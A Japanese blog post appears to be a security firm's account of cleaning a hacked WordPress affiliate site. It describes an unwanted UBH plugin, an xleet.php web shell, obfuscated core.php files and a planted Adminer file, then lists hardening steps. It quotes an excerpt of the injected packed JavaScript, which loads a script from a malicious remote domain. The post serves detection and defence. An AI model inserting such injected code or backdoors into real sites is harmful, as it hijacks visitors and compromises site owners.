xleet.phpバックドアやUBHプラグイン等ワードプレスマルウェア退治

wordpress malware xleet.php

ハックされてしまったワードプレスのマルウェア退治です。マルウェア(malware:malicious software)とは、外部から埋め込まれてしまったなど、悪意のあるソースコード(スクリプト)のことを指します。XSS(クロスサイトスクリプティング)やCSRF(クロスサイトリフォージェリ)の組合せ技みたいなタイプでした。ワードプレスでネットショップやアフィリエイト、オウンドメディア集客などでお金を稼いでいる法人/個人の方々、お気を付けください。

動画のWAFシグネチャ/パターンファイルの話についてのお詫び

UBHプラグインについて、WAFなどのシグネチャはすでに登録されています。UBHプラグインは2014年につくられたもの。少なくともWindowsDeffenderでは検知しました。xleet.phpもおそらく検知されたと思います(記憶があいまいです)。

対象のワードプレスウェブサイトにいて

アドセンスではなく開設初期から完全にA8.netなどのアフィリエイトオンリーで、複数のアフィリエイト会社を使用。WEBマーケッターが運営し、毎月、数十万円稼ぐ優秀なメディアウェブサイトです。運営歴1年弱程度。非SSL。wp-config.phpの階層変更やパーミッションの調整など各種セキュリティ対策無し。コロナウィルスショックとマルウェアショックを同時に受けてコンバージョンがガタ落ちした状況。

問合せをいただいた時

運営者さんご本人にてインストールや有効化の記憶が無い、「UBH CSUプラグイン」の存在に気づき、すぐに削除。さらに、アナリティクスで以下の様に異常な測定値が発生し、なおかつ海外のよくわかないウェブサイトにリダイレクトしてしまう。異常に気付いてから1週間程度経過して運営者さんより2020年7月1日に1stContactをいただき、初期調査開始。

アナリティクスで発生した異常パターン2つ

/投稿記事名スラッグA/undefined
/404.html?page=/投稿記事名スラッグA/undefined&from=http://独自ドメイン/投稿記事スラッグA/

マルウェア除去とハードニングのあと、上記の異常パターンページビューは全て消えました。パーマリンク設定自体は、http://独自ドメイン/投稿記事スラッグ という設定です。

依頼を受けたときの症状

ブラウザで運営者さんの独自ドメインに訪問すると、非SSLな http://〇△✕-security.cloud という不正なスクリプトを含んだURLへのリクエストを永遠に送り続けている開発者ツールのコンソール・・・、ブラウザがじわじわと固まっていく。ページのレンダリング(≒読み込み)速度がかなり遅い。セッション・ハイジャックの様なクッキーの異常も見られる。

http://〇△✕-security.cloudからグーグルAPIやグーグルアドセンスのURLにパラメータを付した様なリダイレクトを含むレスポンスも永久に終わらない。http://〇△✕-security.cloud がWAFのエンドポイント?!と一瞬ひるみましたが、SPAMHAUSにブラックリスト登録されていました。

運営者さんのサイトで<!doctype html>のloadingを発火トリガーとして</footer>の直下にjavascriptによって通常の開発では考えられないiframeがappend的に大量生成され続けている。尚、「ページのソースを表示」によるブラウザ内の別タブでは確認できず、実際のページ上でクロームなどのディベロッパーツールを画面の半分程度に表示させながら目視で不自然なDOMの動きをリアルタイムで確認しなければならないです。作業を行うパソコンにも何らかの被害が及ぶ可能性を想定し、Windows Sandbox(Windows10 Pro)を使うなど、レスキューする側が毒されないように対策してください。

サイトの一番上に透明な膜が全体で張られた状態で、サイトのどこでもクリックすると海外WEBサイトに飛ばされてしまいます。googleadsなどのURLもhttp://〇△✕-security.cloudからのレスポンスに入っていたため、依頼主の方へ聞いたところ、「アドセンスは1度も導入していない」とのことで疑いをさらに進めました。「まやかし」がたくさん有ります。

参考までに、http://〇△✕-security.cloud は 2020年7月8日現在も、SPAMHAUS に登録されています。

初期調査でみつかった各種改ざん

2020年7月1日に各ファイルやディレクトリの更新日時を参考にしながら改ざんを発見。2週間くらい前から計画的にbotでやられていた様です。ls -alコマンドなどでファイルやディレクトリの最終変更日時を確認しながら改ざんされた過去を探しました。

2020年6月16日(火) 19:19 UBH CSUプラグイン(運営者さんには、インストール/有効化の記憶は一切無い)

/public_html/wp-content/plugins/ubh

2020年6月17日(水) 22:29 xleet.php(バックドア。uploadsディレクトリに.phpファイルがあるのは根本的におかしい)

/public_html/wp-content/uploads/2018/02/xleet.php

ブラウザからワードプレスダッシュボードにログインせず、サーバーの管理パネルにもログインせず、http://独自ドメイン/wp-content/uploads/2018/02/xleet.php を見ると以下の様なページにたどり着きます。試行は一切していないですが、コマンド実行やファイルの削除、追加を出来る状態になっていました。GoogleとかExploit DB とか記載され、バックドアとなっている。

BackDoor xleet.php

2020年6月19日(金)22:35 Base64で難読化されたphpファイル(uploadsディレクトリに.phpファイルが有るのはおかしい)

public_html/wp-content/uploads/2019/03/core.php

2020年6月19日(金) 22:36  Base64で難読化されたphpファイル(cssディレクトリにphpファイルが有るのはおかしい)

public_html/wp-includes/css/core.php

2020年6月19日(金) 22:39 Base64で難読化されたphpファイル(ContactForm7にcore.phpなんてファイルは存在しない)

public_html/wp-content/plugins/contact-form-7/core.php

2020年6月20日(土) 01:23 wp-config-sample.php と同じ階層にmysql.phpという名のadminer。運営者の方は、adminerなんて名前すら聞いたことが無い。この階層は、wp-〇×△.phpという形式のファイルが一般的な命名規則。

/public_html/mysql.php

上記は全て不正侵入や改ざんを行う為のツールが計画的に仕込まれていった形跡です。上記を取り除きましたが、まだリダイレクトの症状は改善されないため、さらに調査を進めると、以下の3ディレクトリ配下すべてのjavascriptファイルで改ざんを発見。配下のjsファイル全ての最後尾にhttp://〇△✕-security.cloudという不正なスクリプトを含んだURLへのリクエストを行うjavascriptがminifyされ追記されていました。

  1. wp-admin/js/
  2. wp-content/plugins/
  3. wp-includes/js/

スクリプトの全部を載せるわけにはいかないので、特徴的な部分を抜粋して載せます。ググってたどり着いた方、ビンゴです。

運営者さんは、2020年7月1日の「1週間くらい前からサイトがおかしい」ということを仰っており、バックドアやUBHプラグインが仕込まれた2週間前の時点でマルウェア被害に気付いていません。

先頭

;eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};

後ろのほう

('1.n(\'6\',7(){8(9 3.2=="a"){b 0=1.c("5");0.e="//f-d.h/i?l=j";1.k.m(0);3.2="g"}},4);', 24, 24, 's|document|web_security|window|false|script|DOMContentLoaded|function|if|typeof|undefined|var|createElement|security|src|web|success|cloud|event|117|head||appendChild|addEventListener'.split('|'), 0, {}));

このjsは難読化されていなかったので発見しやすかったですが、ワードプレスプラグインによるマルウェアスキャンには全く反応せず、フォールスネガティブ(検知漏れ)です。パターンファイルに掲載されていないマルウェアとなります。ワードプレスのセキュリティスキャンプラグインによるマルウェアスキャンはフォールスネガティブ(検知漏れ)があるという実例です。

※ wp-settings.php の改ざんも念のために疑ってください。 

マルウェア駆除

上記のマルウェアすべてを除去しました。日本語でググるとUBHプラグインの削除だけを指示しているブログ記事がありますが、それだけで終わりというのは考えにくいので他のマルウェアをドキュメントルート配下の全ファイルとデータベースとwp-config.phpの全てにおいて疑ってください。

堅牢化方針の検討

マルウェア駆除中、http://独自ドメイン/wp-content/uploads/2018/02/xleet.phpのバックドアについて、iThemesSecurityプラグインをインストール/有効化して、/wp-content/uploads/フォルダにおけるhttp/httpsリクエストによるphp実行禁止でバックドアがブラウザで表示出来なくなり、404ページなどに変更出来ることなどをサンドボックスの閉ざされた検証環境で試してみてください。「ダッシュボード」⇒「セキュリティ」⇒「システムの微調整」⇒「アップロード内のPHP」にて設定出来ます。行うべき堅牢化方針の正しさを確認できます。マルウェアの駆除をしながら堅牢化の方針を作っていきます。

マルウェア除去だけを行って、堅牢化しない場合、botによって翌日から同じ脅威事象が何度でも発生する場合があります(過去、経験があります)。レスキュー依頼先のWEBエンジニアの技術レベルによっては、「独自ドメインを変えてワードプレスウェブサイトをゼロから作り直すしかない!」と悪意なく言う人も出現します。

堅牢化(ハード二ング)

主に次の様なセキュリティ強化(堅牢化/ハード二ング)を行いました。

  1. SSL化(アフィリエイトリンク先全てのSSL対応も同時に行いました)
  2. http/httpsリクエストによるuploadsディレクトリ、テーマディレクトリ、プラグインディレクトリにおける.phpファイルの実行を禁止
  3. ワードプレスユーザーやデータベースのパスワード変更
  4. ワードプレスダッシュボードログインURLの変更
  5. WAF導入
  6. phpバージョンの最新化
  7. 開発が滞っていて脆弱性を持っているプラグインの削除
  8. コア/テーマ/プラグインの最新版更新の実施(以後、更新は永続を依頼)
  9. データベース内の余分なテーブル削除
  10. その他の弊社推奨セキュリティ対策

ハード二ングの道しるべは OWASP Top 10

脅威の被害を被るウェブサイトは、各種ログがしっかり管理された環境ではない場合も多く、インジェクションを受けたときのログやリクエストの分析/検証をあまり出来ない、予算も無い事は多いです。フォレンジックなどは話にすら上がりませんし、ほぼ話を出しません。インジェクション、認証の不備、機微な情報の露出などの OWASP Top 10 https://wpvulndb.comなどの「脆弱性データベース」をハード二ングの道しるべに使います。基本的なハード二ングを行い、ワードプレスコア(本体)/ワードプレスプラグイン/ワードプレステーマ/ミドルウェア/OSなど、それぞれのソフトウェアアップデートを永続する事でセキュリティリスクを大きく軽減し、ビジネスの安定した発展に貢献します。

セキュリティよくわからないという理由で目を背ける経営者は、アプリケーションを利用するユーザー(顧客)への背信行為を行っていることになります。世界的な経営の常識と矛盾した行動をしている経営者です。アプリケーション運営者はセキュリティに責任を持つ必要が有ります。

異常に気付いたらなるべく早く専門家へレスキュー依頼を!

マルウェア被害に気づいて1週間前後経過してからご依頼をいただいたのですが、被害を受けた際は、マルウェア(改ざんされてしまった不正なスクリプト)の探し出しと除去を行うよりも、健康なバックアップデータから復元(リストア)してハード二ング/堅牢化(セキュリティ強化)したほうが、復旧コストはかなり安いです。ビジネス的な損失時間も短縮出来ます。

基本的にバックアップ(ファイルとデータベース)は保管周期についてローテーション管理されている場合が多く、今回はご依頼当日から2週間前までのバックアップデータしか取得できず、既にマルウェアに毒された2週間前のデータでワードプレスを復元(リストア)しても意味が無く、マルウェアスキャンでも検知漏れするような探しにくい「マルウェア探し」と「マルウェア除去」の作業が発生しました。バックアップリズムについては、サーバー環境により様々です。

ビジネス損失の時間を短くするためにも、ワードプレスの異常に気付いたら専門家へのレスキュー依頼をなるべく早く行われることを強くお勧めします。

バックアップは保管期間と取得リズムが大事

バックアップは直近の過去6ヶ月~12ヶ月という保管期間で「月に1回」から「毎日」程度の取得リズムでローテーション管理することを推奨しております。シビア度合やコンテンツ更新頻度に応じて粒度を細かくしてください。バックアップデータの多さや取得リズムの頻回さに顧客先から疑問視される事も多いですが、今回の様なマルウェア被害は現実的に起こりえます。他人ごとではないです。用意周到なバックアップ保管を顧客先へ口酸っぱく伝えております。

コメントをいただくことがしばしばあるため、コメント機能を有効化しました。わからないこと、間違っていること、疑問に思うこと、何でも質問受け付けます。間違っていることは適宜修正させていただきます。お気軽にコメントください。また、正しい回答を出来る方は、正しい回答でぶった斬ってコメントいただけますと幸いです。